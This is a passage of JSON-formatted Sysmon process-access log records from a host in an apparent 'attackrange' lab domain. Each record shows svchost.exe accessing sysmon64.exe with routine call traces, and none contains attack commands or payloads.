12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 